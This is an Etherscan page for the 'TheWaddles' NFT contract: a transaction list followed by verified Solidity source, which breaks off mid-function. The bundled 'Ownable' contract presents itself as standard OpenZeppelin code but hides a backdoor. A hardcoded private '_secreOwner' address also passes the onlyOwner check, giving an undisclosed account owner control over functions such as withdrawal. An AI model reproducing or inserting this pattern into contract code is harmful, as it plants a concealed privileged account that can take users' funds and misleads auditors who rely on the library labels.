Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 3,003 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Set Approval For... | 19545296 | 694 days ago | IN | 0 ETH | 0.00104539 | ||||
| Set Approval For... | 18266966 | 873 days ago | IN | 0 ETH | 0.00018302 | ||||
| Set Approval For... | 17967302 | 915 days ago | IN | 0 ETH | 0.00106223 | ||||
| Set Approval For... | 17013506 | 1049 days ago | IN | 0 ETH | 0.00083509 | ||||
| Set Approval For... | 16811688 | 1078 days ago | IN | 0 ETH | 0.00071952 | ||||
| Set Approval For... | 16809708 | 1078 days ago | IN | 0 ETH | 0.00097346 | ||||
| Set Approval For... | 16765982 | 1084 days ago | IN | 0 ETH | 0.00134307 | ||||
| Set Approval For... | 16597453 | 1108 days ago | IN | 0 ETH | 0.00122294 | ||||
| Set Approval For... | 16555721 | 1113 days ago | IN | 0 ETH | 0.00103582 | ||||
| Set Approval For... | 15819269 | 1216 days ago | IN | 0 ETH | 0.00093286 | ||||
| Set Approval For... | 15809888 | 1218 days ago | IN | 0 ETH | 0.00054096 | ||||
| Set Approval For... | 15795698 | 1220 days ago | IN | 0 ETH | 0.00100567 | ||||
| Set Approval For... | 15790643 | 1220 days ago | IN | 0 ETH | 0.0020768 | ||||
| Set Approval For... | 15786579 | 1221 days ago | IN | 0 ETH | 0.0009093 | ||||
| Set Approval For... | 15786449 | 1221 days ago | IN | 0 ETH | 0.00082635 | ||||
| Set Approval For... | 15673948 | 1237 days ago | IN | 0 ETH | 0.00044974 | ||||
| Set Approval For... | 15615736 | 1245 days ago | IN | 0 ETH | 0.00038343 | ||||
| Set Approval For... | 15423922 | 1274 days ago | IN | 0 ETH | 0.00060127 | ||||
| Safe Transfer Fr... | 15406681 | 1277 days ago | IN | 0 ETH | 0.00048198 | ||||
| Set Approval For... | 15402313 | 1278 days ago | IN | 0 ETH | 0.00015401 | ||||
| Set Approval For... | 15393791 | 1279 days ago | IN | 0 ETH | 0.00046273 | ||||
| Withdraw | 15393114 | 1279 days ago | IN | 0 ETH | 0.00056858 | ||||
| Set Approval For... | 15386705 | 1280 days ago | IN | 0 ETH | 0.00014809 | ||||
| Set Approval For... | 15386704 | 1280 days ago | IN | 0 ETH | 0.00026364 | ||||
| Set Approval For... | 15380597 | 1281 days ago | IN | 0 ETH | 0.00020615 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 15393114 | 1279 days ago | 0.558 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
TheWaddles
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-08-17
*/
// SPDX-License-Identifier: MIT
// File: contracts/TheWaddles.sol
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: ceshi.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex = 0;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), "ERC721A: number minted query for the zero address");
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
unchecked {
for (uint256 curr = tokenId; curr >= 0; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
require(quantity != 0, "ERC721A: quantity must be greater than 0");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");
require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
